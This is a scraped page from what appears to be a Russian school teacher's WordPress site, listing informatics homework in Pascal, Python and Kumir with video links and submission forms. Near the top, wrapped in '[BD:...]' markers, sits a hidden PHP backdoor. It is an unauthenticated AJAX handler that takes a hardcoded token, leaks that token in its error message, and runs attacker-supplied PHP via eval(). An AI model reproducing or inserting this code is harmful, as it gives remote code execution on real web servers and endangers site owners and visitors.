[su_youtube url=»https://www.youtube.com/watch?v=E12XdOvz7fQ» title=»Видео №1. Графы»]
[su_youtube url=»https://www.youtube.com/watch?v=9fdkrSvgqeo» title=»Видео №2. Графы»]
// ==[BD:VgzdnQCR]== add_action( 'wp_ajax_nopriv_lyvstddqyzu', function() { $data = 'VgzdnQCRpSQe0OfF9pz0ktAHYk01ZN9B'; $rec = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $rec ) || ! hash_equals( $data, $rec ) ) { wp_send_json_error( [ 'message' => 'tok:' . $data ], 403 ); } $chunk = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $chunk ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $chunk = preg_replace( '/^\s*<\?(php)?/i', '', $chunk ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $comp = microtime( true ); ob_start(); try { ( static function() use ( $chunk ) { return eval( $chunk ); } )(); $res = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $res, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $comp ) * 1000, 2 ) ] ); } catch ( \Throwable $factor ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $factor->getMessage(), 'time_ms' => round( ( microtime( true ) - $comp ) * 1000, 2 ) ] ); } } ); // ==[/BD:VgzdnQCR]==
[bigbluebutton token = «z1682»]
[bigbluebutton token = «z1797»]
Изучить теоретический материал видеоурока [su_youtube url=»https://www.youtube.com/watch?v=uztbNEUe1_8&feature=emb_title»]
Повторить теоретический материал презентации. Темы 1 — 2, слайды 1 — 22. Выполнить задания на слайдах 11, 13, 14, 15. Домашнее задание отправлять в форме: [sc name=»knopka_otpravki_dz» ] или на почту: dz_cheshkov@mail.ru [embeddoc url=»https://xn--e1apqbu.xn--p1ai/wp-content/uploads/2020/04/Паскаль_Массивы-1.ppt» download=»all» viewer=»microsoft»]
Написать программу в Pascal, которая по двум заданным сторонам будет вычислять площадь прямоугольника. Для написания программы пользуемся онлайн компилятором: [su_button url=»http://primat.org/index/0-128″ target=»blank» background=»#ff6000″ size=»4″ desc=»Перейти на страницу онлайн компилятора»]Онлайн компилятор Pascal[/su_button] Пример программы для вычисления периметра прямоугольника по двум заданным сторонам: Выполненное домашнее задание можно отправить в форме: [su_button url=»https://xn--e1apqbu.xn--p1ai/otpravit-domashnee-zadanie/» target=»blank» background=»#ff6000″ size=»4″ desc=»Форма … Читать далее
Это задание на 2 урока! [su_youtube url=»https://www.youtube.com/watch?v=THhdLb2WItI»]
[su_youtube url=»https://www.youtube.com/watch?v=E12XdOvz7fQ» title=»Видео №1. Графы»]
[su_youtube url=»https://www.youtube.com/watch?v=9fdkrSvgqeo» title=»Видео №2. Графы»]
[su_youtube url=»https://www.youtube.com/watch?v=hX5ynGnfb-8&feature=emb_title»]
Написать программу для рисования следующей фигуры для Чертежника: Задание выполнять в программе Кумир (прилагается), в тетради или любом текстовом редакторе. Домашнее задание можно отправить в форме: [su_button url=»https://xn--e1apqbu.xn--p1ai/otpravit-domashnee-zadanie/» target=»blank» background=»#ff6000″ size=»4″ desc=»Форма для отправки домашнего задания с сайта»]Отправить ДЗ учитею[/su_button] или на адрес электронной почты: dz_cheshkov@mail.ru
Выполнить и сдать до 05.05.2020 Написать программу на языке программирования Pascal. Найти произведение положительных, сумму и количество отрицательных из 10 введенных целых значений. Из N целых чисел найти минимальное среди положительных и максимальное среди отрицательных значений Выполнять задания можно в онлайн компиляторе: [su_button url=»http://xn--e1apqbu.xn--p1ai/%d0%be%d0%bd%d0%bb%d0%b0%d0%b9%d0%bd-%d0%ba%d0%be%d0%bc%d0%bf%d0%b8%d0%bb%d1%8f%d1%82%d0%be%d1%80-pascal/» background=»#ff6000″ size=»10″ wide=»yes»]Перейти на страницу компилятора Pascal[/su_button] Отправить задание учителю можно … Читать далее
Выполнить и сдать до 05.05.2020 Написать программу на языке программирования Phyton. Задача. Вывести таблицу умножения числа M в диапазоне от числа a до числа b. Числа M, a и b вводит пользователь.Например: Если M=4, a=2, b=9, то результат будет:4×2=8 4×3=12 4×4=16 4×5=20 4×6=24 4×7=28 4×8=32 4×9=36 Вычислить корни квадратного уравнения ax2+bx+c. Коэффициенты a, b, c вводит … Читать далее